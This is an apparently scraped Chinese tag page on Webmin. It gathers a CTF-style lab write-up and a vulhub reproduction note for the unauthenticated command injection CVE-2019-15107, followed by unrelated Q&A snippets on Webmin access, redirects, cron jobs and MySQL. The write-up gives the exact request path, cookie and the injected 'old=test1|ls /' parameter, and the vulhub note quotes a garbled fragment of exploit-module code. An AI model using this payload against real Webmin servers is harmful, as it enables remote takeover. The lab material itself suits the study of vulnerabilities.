webmin

Webmin未经身份验证的远程代码执行——墨者学院

由 。_饼干妹妹 提交于 2020-01-27 01:18:56
Webmin是用于类似Unix的系统的基于Web的系统配置工具。该漏洞存在于密码重置页面中，该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。 没有账号密码，看题目说是非root用户通过post提交数据导致命令注入，所以我们应该抓包！ 无账号无密码登陆，用burp抓包 第一步，修改路径 session_ login.cgi 为 password_change.cgi 第二步，修改Cookie为 Cookie: redirect=1; testing=1;sid=x; sessiontest=1 第三步，修改参数 user=jammny&pam=&expired=2&old=test1|ls /&new1=test2&new2=test2 得到key 来源： CSDN 作者： jammny 链接： https://blog.csdn.net/qq_41832837/article/details/104010285

Webmin 远程命令执行漏洞（CVE-2019-15107）——vulhub漏洞复现

由 喜欢而已 提交于 2020-01-17 02:11:54
前言： Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页面中，存在一处 无需权限 的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。 影响版本 ： Webmin <= 1.920 漏洞代码 ： def peer "#{ss1 ? 'https:// : ' http://' }#{rhost}:#{rport}" end # Target and input verification ## def check # check passwd change privres = send_ request_ cgi( { 'uri' => normalize_ uri(target_ uri. path, " password_ change.cgi"), ' headers' => { ' Referer’=>”#{peer}/session_ login.cgi" }, ' cookie' =>" redirect=1; testing=1; sid=x; sessiontest=1" }) if res & res.code == 200 && res.body =n /Failed/ res = send_ request_ cgi( { 'method' =>'POST', 'cookie' => " redirect=1;

Unable to access Webmin through browser

由 坚强是说给别人听的谎言 提交于 2019-12-29 18:47:07
问题 I followed DigitalOcean's tutorials on how to set up your server with SSH, creating a new user, firewalls etc. The first tutorial in the series is linked under: https://www.digitalocean.com/community/tutorials/how-to-connect-to-your-droplet-with-ssh I've also installed Webmin on my server, but I still can't get a connection to the server by using the web-browser. It just loads for a long time and then says it can't establish a connection. The URL's I've been using are: "Just-my-IP-adress" and

Unable to access Webmin through browser

由 怎甘沉沦 提交于 2019-12-29 18:47:05
问题 I followed DigitalOcean's tutorials on how to set up your server with SSH, creating a new user, firewalls etc. The first tutorial in the series is linked under: https://www.digitalocean.com/community/tutorials/how-to-connect-to-your-droplet-with-ssh I've also installed Webmin on my server, but I still can't get a connection to the server by using the web-browser. It just loads for a long time and then says it can't establish a connection. The URL's I've been using are: "Just-my-IP-adress" and

Virtual server on virtualmin keeps redirecting to wrong website

由 删除回忆录丶 提交于 2019-12-21 19:51:47
问题 I have created a virtual server say aaa.com but when I access the site (via editing my hosts file on Windows 7, cos I have a live aaa.com running on the Internet), it brings me to my other virtual server's site I have, like bbb.com Why is that? I don't have any redirection running. Not in my script files (like html or php) and no redirection set under "Server Configurations" -> "Website Redirects" and none at "Services" -> "Click Configure Website" -> "Aliases and Redirects." The only script

Webmin：是目前功能最强大的基于Web的Unix系统管理工具

由 生来就可爱ヽ(ⅴ＜●) 提交于 2019-12-14 23:36:03
一：webmin介绍 1·管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。目前Webmin支持绝大多数的Unix系统，这些系统除了各种版本的linux以外还包括：AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。 2·　Webmin 让您能够在远程使用支持 HTTPS (SSL 上的 HTTP)协议的 Web 浏览器通过 Web 界面管理您的主机。这在保证了安全性的前提下提供了简单深入的远程管理。这使得 Webmin 对系统管理员非常理想，因为所有主流平台都有满足甚至超出上述需求的 Web 浏览器。而且，Webmin 有其自己的“Web 服务器”，因此不需要运行第三方软件(比如 Web服务器)。万事具备。Webmin 的模块化架构允许您在需要时编写您自己的配置模块。除了在此介绍的模块之外，Webmin 还包括许多模块。尽管目前我们将主要关注网络服务，但是您会看到，几乎您系统的每一部分都能够通过 Webmin 来配置和管理，有时候可以在Linux环境下安装此软件。 Webmin的另一个可以看成其简化版本的主要针对普通用户的软件就是Usermin。可以让您用远端电脑上的浏览器，直接修改服务器里的使用者帐号、Apache、DNS、文件分享等设定。使用者将Webmin装于伺服器上，然后设定 Webmin可以存取的「IP位址」以及「埠位」

run cron job on end of every month

由 南楼画角 提交于 2019-12-10 23:13:56
问题 I need to run a script at 2 pm on the end of every month. The reason i set 2 pm is i've a timezone of asia/calcutta and it differs 10 hrs and 30 min. from the server time. I've set date_default_timezone_set('Asia/Calcutta') in my script, so for the current settings i can trigger 1st day of every month as per my timezone. But the issue is, i'm using webmin and there is no settings to run end of every month and only date from 1 - 31 listed. Here i attached the screenshot. How can i run the

PHP MySql unknown server host

由 旧巷老猫 提交于 2019-12-08 04:10:47
问题 I am running Ubuntu 12.04.4 LTS with MySQL 5.5.38 and PHP 5.3.10, using Webmin 1.680 (although I do use the terminal for administration as well). I am on a dynamic IP so I have been using dyndns to host a website, which has been working flawlessly. I want to expand my website to access a mysql database. I am attempting to use PHP to connect to mysql, specifically a specific database I set up using Webmin. However, I keep getting the error: "Unknown MySQL server host '127.0.0.1:3306'" I have

PHP MySql unknown server host

由 梦想的初衷 提交于 2019-12-07 01:54:27
I am running Ubuntu 12.04.4 LTS with MySQL 5.5.38 and PHP 5.3.10, using Webmin 1.680 (although I do use the terminal for administration as well). I am on a dynamic IP so I have been using dyndns to host a website, which has been working flawlessly. I want to expand my website to access a mysql database. I am attempting to use PHP to connect to mysql, specifically a specific database I set up using Webmin. However, I keep getting the error: "Unknown MySQL server host '127.0.0.1:3306'" I have checked the mysql configuration and it is set to that IP and port. I have also checked my server hosts

Virtual server on virtualmin keeps redirecting to wrong website

由 只愿长相守 提交于 2019-12-04 16:01:31
I have created a virtual server say aaa.com but when I access the site (via editing my hosts file on Windows 7, cos I have a live aaa.com running on the Internet), it brings me to my other virtual server's site I have, like bbb.com Why is that? I don't have any redirection running. Not in my script files (like html or php) and no redirection set under "Server Configurations" -> "Website Redirects" and none at "Services" -> "Click Configure Website" -> "Aliases and Redirects." The only script files I have are fresh new WordPress installation files (under home/aaa/public_html). How do I fix this
订阅 webmin